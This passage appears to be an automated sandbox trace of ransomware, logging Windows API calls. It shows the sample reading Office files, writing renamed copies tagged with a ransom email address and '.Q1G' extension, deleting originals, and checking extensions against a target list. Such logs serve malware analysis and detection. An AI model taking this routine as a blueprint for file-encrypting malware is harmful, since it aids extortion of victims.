lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0263.017] GetFileSizeEx (in: hFile=0x1bc, lpFileSize=0x355ff1c | out: lpFileSize=0x355ff1c*=2998) returned 1 [0263.028] CloseHandle (hObject=0x1bc) returned 1 [0263.039] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPORTS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\reports.ico")) returned 0x20 [0263.039] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPORTS.ICO.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\reports.ico.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0263.039] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPORTS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\reports.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0263.039] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.039] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.040] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPORTS.ICO.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\reports.ico.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0263.040] GetLastError () returned 0x0 [0263.040] ReadFile (in: hFile=0x1bc, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0xbb6, lpOverlapped=0x0) returned 1 [0263.049] WriteFile (in: hFile=0x3e0, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0xbc0, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0xbc0, lpOverlapped=0x0) returned 1 [0263.049] ReadFile (in: hFile=0x1bc, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x0, lpOverlapped=0x0) returned 1 [0263.049] WriteFile (in: hFile=0x3e0, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0xea, lpOverlapped=0x0) returned 1 [0263.050] SetEndOfFile (hFile=0x3e0) returned 1 [0263.050] CloseHandle (hObject=0x3e0) returned 1 [0263.050] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.050] SetEndOfFile (hFile=0x1bc) returned 1 [0263.052] CloseHandle (hObject=0x1bc) returned 1 [0263.052] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPORTS.ICO.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0263.052] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPORTS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\reports.ico")) returned 1 [0263.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPORTS.ICO") returned 65 [0263.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPORTS.ICO") returned 65 [0263.053] lstrlenW (lpString=".doc") returned 4 [0263.053] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0263.053] lstrlenW (lpString=".docx") returned 5 [0263.053] lstrcmpiW (lpString1=".docx", lpString2="S.ICO") returned -1 [0263.053] lstrlenW (lpString=".pdf") returned 4 [0263.053] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0263.053] lstrlenW (lpString=".xls") returned 4 [0263.053] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0263.053] lstrlenW (lpString=".xlsx") returned 5 [0263.053] lstrcmpiW (lpString1=".xlsx", lpString2="S.ICO") returned -1 [0263.053] lstrlenW (lpString=".ppt") returned 4 [0263.053] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0263.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPORTS.ICO") returned 65 [0263.053] lstrlenW (lpString=".zip") returned 4 [0263.054] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0263.054] lstrlenW (lpString=".rar") returned 4 [0263.054] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0263.054] lstrlenW (lpString=".bz2") returned 4 [0263.054] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0263.054] lstrlenW (lpString=".7z") returned 3 [0263.054] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0263.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPORTS.ICO") returned 65 [0263.054] lstrlenW (lpString=".dbf") returned 4 [0263.054] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0263.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPORTS.ICO") returned 65 [0263.054] lstrlenW (lpString=".1cd") returned 4 [0263.054] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0263.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPORTS.ICO") returned 65 [0263.054] lstrlenW (lpString=".jpg") returned 4 [0263.054] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0263.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPORTS.ICO") returned 65 [0263.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPORTS.ICO") returned 65 [0263.054] lstrlenW (lpString=".doc") returned 4 [0263.054] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0263.054] lstrlenW (lpString=".docx") returned 5 [0263.054] lstrcmpiW (lpString1=".docx", lpString2="S.ICO") returned -1 [0263.054] lstrlenW (lpString=".pdf") returned 4 [0263.054] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0263.054] lstrlenW (lpString=".xls") returned 4 [0263.054] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0263.054] lstrlenW (lpString=".xlsx") returned 5 [0263.054] lstrcmpiW (lpString1=".xlsx", lpString2="S.ICO") returned -1 [0263.054] lstrlenW (lpString=".ppt") returned 4 [0263.054] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0263.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPORTS.ICO") returned 65 [0263.054] lstrlenW (lpString=".zip") returned 4 [0263.054] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0263.054] lstrlenW (lpString=".rar") returned 4 [0263.054] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0263.055] lstrlenW (lpString=".bz2") returned 4 [0263.055] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0263.055] lstrlenW (lpString=".7z") returned 3 [0263.055] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0263.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPORTS.ICO") returned 65 [0263.055] lstrlenW (lpString=".dbf") returned 4 [0263.055] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0263.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPORTS.ICO") returned 65 [0263.055] lstrlenW (lpString=".1cd") returned 4 [0263.055] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0263.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPORTS.ICO") returned 65 [0263.055] lstrlenW (lpString=".jpg") returned 4 [0263.055] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0263.055] lstrcmpiW (lpString1=".CFG", lpString2=".Q1G") returned -1 [0263.055] lstrlenW (lpString="RSSITEM.CFG") returned 11 [0263.055] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RSSITEM.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\rssitem.cfg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0263.059] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x355ff1c | out: lpFileSize=0x355ff1c*=788) returned 1 [0263.059] CloseHandle (hObject=0x1c0) returned 1 [0263.059] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RSSITEM.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\rssitem.cfg")) returned 0x20 [0263.059] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RSSITEM.CFG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\rssitem.cfg.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0263.059] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RSSITEM.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\rssitem.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0263.060] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.060] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.060] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RSSITEM.CFG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\rssitem.cfg.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0263.060] GetLastError () returned 0x0 [0263.060] ReadFile (in: hFile=0x1c0, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x314, lpOverlapped=0x0) returned 1 [0263.068] WriteFile (in: hFile=0x3dc, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0x320, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0x320, lpOverlapped=0x0) returned 1 [0263.069] ReadFile (in: hFile=0x1c0, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x0, lpOverlapped=0x0) returned 1 [0263.069] WriteFile (in: hFile=0x3dc, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0xea, lpOverlapped=0x0) returned 1 [0263.069] SetEndOfFile (hFile=0x3dc) returned 1 [0263.069] CloseHandle (hObject=0x3dc) returned 1 [0263.069] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.069] SetEndOfFile (hFile=0x1c0) returned 1 [0263.071] CloseHandle (hObject=0x1c0) returned 1 [0263.071] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RSSITEM.CFG.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0263.072] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RSSITEM.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\rssitem.cfg")) returned 1 [0263.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RSSITEM.CFG") returned 65 [0263.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RSSITEM.CFG") returned 65 [0263.072] lstrlenW (lpString=".doc") returned 4 [0263.072] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0263.072] lstrlenW (lpString=".docx") returned 5 [0263.072] lstrcmpiW (lpString1=".docx", lpString2="M.CFG") returned -1 [0263.072] lstrlenW (lpString=".pdf") returned 4 [0263.072] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0263.072] lstrlenW (lpString=".xls") returned 4 [0263.072] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0263.072] lstrlenW (lpString=".xlsx") returned 5 [0263.072] lstrcmpiW (lpString1=".xlsx", lpString2="M.CFG") returned -1 [0263.072] lstrlenW (lpString=".ppt") returned 4 [0263.072] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0263.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RSSITEM.CFG") returned 65 [0263.073] lstrlenW (lpString=".zip") returned 4 [0263.073] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0263.073] lstrlenW (lpString=".rar") returned 4 [0263.073] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0263.073] lstrlenW (lpString=".bz2") returned 4 [0263.073] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0263.073] lstrlenW (lpString=".7z") returned 3 [0263.073] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0263.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RSSITEM.CFG") returned 65 [0263.073] lstrlenW (lpString=".dbf") returned 4 [0263.073] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0263.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RSSITEM.CFG") returned 65 [0263.073] lstrlenW (lpString=".1cd") returned 4 [0263.073] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0263.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RSSITEM.CFG") returned 65 [0263.073] lstrlenW (lpString=".jpg") returned 4 [0263.073] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0263.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RSSITEM.CFG") returned 65 [0263.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RSSITEM.CFG") returned 65 [0263.073] lstrlenW (lpString=".doc") returned 4 [0263.073] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0263.073] lstrlenW (lpString=".docx") returned 5 [0263.073] lstrcmpiW (lpString1=".docx", lpString2="M.CFG") returned -1 [0263.073] lstrlenW (lpString=".pdf") returned 4 [0263.073] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0263.073] lstrlenW (lpString=".xls") returned 4 [0263.073] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0263.073] lstrlenW (lpString=".xlsx") returned 5 [0263.073] lstrcmpiW (lpString1=".xlsx", lpString2="M.CFG") returned -1 [0263.073] lstrlenW (lpString=".ppt") returned 4 [0263.073] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0263.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RSSITEM.CFG") returned 65 [0263.073] lstrlenW (lpString=".zip") returned 4 [0263.073] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0263.073] lstrlenW (lpString=".rar") returned 4 [0263.074] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0263.074] lstrlenW (lpString=".bz2") returned 4 [0263.074] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0263.074] lstrlenW (lpString=".7z") returned 3 [0263.074] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0263.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RSSITEM.CFG") returned 65 [0263.074] lstrlenW (lpString=".dbf") returned 4 [0263.074] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0263.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RSSITEM.CFG") returned 65 [0263.074] lstrlenW (lpString=".1cd") returned 4 [0263.074] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0263.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RSSITEM.CFG") returned 65 [0263.074] lstrlenW (lpString=".jpg") returned 4 [0263.074] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0263.074] lstrcmpiW (lpString1=".ICO", lpString2=".Q1G") returned -1 [0263.074] lstrlenW (lpString="RSSITEML.ICO") returned 12 [0263.074] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RSSITEML.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\rssiteml.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0263.075] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x355ff1c | out: lpFileSize=0x355ff1c*=1078) returned 1 [0263.075] CloseHandle (hObject=0x1c0) returned 1 [0263.075] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RSSITEML.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\rssiteml.ico")) returned 0x20 [0263.075] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RSSITEML.ICO.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\rssiteml.ico.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0263.075] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RSSITEML.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\rssiteml.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0263.075] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.075] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.075] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RSSITEML.ICO.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\rssiteml.ico.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0263.076] GetLastError () returned 0x0 [0263.076] ReadFile (in: hFile=0x1c0, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x436, lpOverlapped=0x0) returned 1 [0263.235] WriteFile (in: hFile=0x3dc, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0x440, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0x440, lpOverlapped=0x0) returned 1 [0263.236] ReadFile (in: hFile=0x1c0, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x0, lpOverlapped=0x0) returned 1 [0263.236] WriteFile (in: hFile=0x3dc, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0xec, lpOverlapped=0x0) returned 1 [0263.236] SetEndOfFile (hFile=0x3dc) returned 1 [0263.237] CloseHandle (hObject=0x3dc) returned 1 [0263.237] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.237] SetEndOfFile (hFile=0x1c0) returned 1 [0263.239] CloseHandle (hObject=0x1c0) returned 1 [0263.239] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RSSITEML.ICO.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0263.256] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RSSITEML.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\rssiteml.ico")) returned 1 [0263.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RSSITEML.ICO") returned 66 [0263.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RSSITEML.ICO") returned 66 [0263.276] lstrlenW (lpString=".doc") returned 4 [0263.276] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0263.276] lstrlenW (lpString=".docx") returned 5 [0263.276] lstrcmpiW (lpString1=".docx", lpString2="L.ICO") returned -1 [0263.276] lstrlenW (lpString=".pdf") returned 4 [0263.276] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0263.276] lstrlenW (lpString=".xls") returned 4 [0263.276] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0263.276] lstrlenW (lpString=".xlsx") returned 5 [0263.276] lstrcmpiW (lpString1=".xlsx", lpString2="L.ICO") returned -1 [0263.276] lstrlenW (lpString=".ppt") returned 4 [0263.276] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0263.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RSSITEML.ICO") returned 66 [0263.276] lstrlenW (lpString=".zip") returned 4 [0263.276] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0263.277] lstrlenW (lpString=".rar") returned 4 [0263.277] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0263.277] lstrlenW (lpString=".bz2") returned 4 [0263.277] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0263.277] lstrlenW (lpString=".7z") returned 3 [0263.277] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0263.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RSSITEML.ICO") returned 66 [0263.277] lstrlenW (lpString=".dbf") returned 4 [0263.277] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0263.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RSSITEML.ICO") returned 66 [0263.277] lstrlenW (lpString=".1cd") returned 4 [0263.277] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0263.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RSSITEML.ICO") returned 66 [0263.277] lstrlenW (lpString=".jpg") returned 4 [0263.277] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0263.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RSSITEML.ICO") returned 66 [0263.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RSSITEML.ICO") returned 66 [0263.277] lstrlenW (lpString=".doc") returned 4 [0263.277] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0263.277] lstrlenW (lpString=".docx") returned 5 [0263.277] lstrcmpiW (lpString1=".docx", lpString2="L.ICO") returned -1 [0263.277] lstrlenW (lpString=".pdf") returned 4 [0263.277] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0263.277] lstrlenW (lpString=".xls") returned 4 [0263.277] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0263.277] lstrlenW (lpString=".xlsx") returned 5 [0263.277] lstrcmpiW (lpString1=".xlsx", lpString2="L.ICO") returned -1 [0263.277] lstrlenW (lpString=".ppt") returned 4 [0263.277] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0263.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RSSITEML.ICO") returned 66 [0263.277] lstrlenW (lpString=".zip") returned 4 [0263.277] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0263.277] lstrlenW (lpString=".rar") returned 4 [0263.277] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0263.277] lstrlenW (lpString=".bz2") returned 4 [0263.277] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0263.277] lstrlenW (lpString=".7z") returned 3 [0263.278] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0263.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RSSITEML.ICO") returned 66 [0263.278] lstrlenW (lpString=".dbf") returned 4 [0263.278] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0263.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RSSITEML.ICO") returned 66 [0263.278] lstrlenW (lpString=".1cd") returned 4 [0263.278] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0263.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RSSITEML.ICO") returned 66 [0263.278] lstrlenW (lpString=".jpg") returned 4 [0263.278] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0263.278] lstrcmpiW (lpString1=".ICO", lpString2=".Q1G") returned -1 [0263.278] lstrlenW (lpString="SCDRESTL.ICO") returned 12 [0263.278] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESTL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdrestl.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0263.278] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x355ff1c | out: lpFileSize=0x355ff1c*=1078) returned 1 [0263.279] CloseHandle (hObject=0x3a8) returned 1 [0263.279] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESTL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdrestl.ico")) returned 0x20 [0263.279] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESTL.ICO.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft 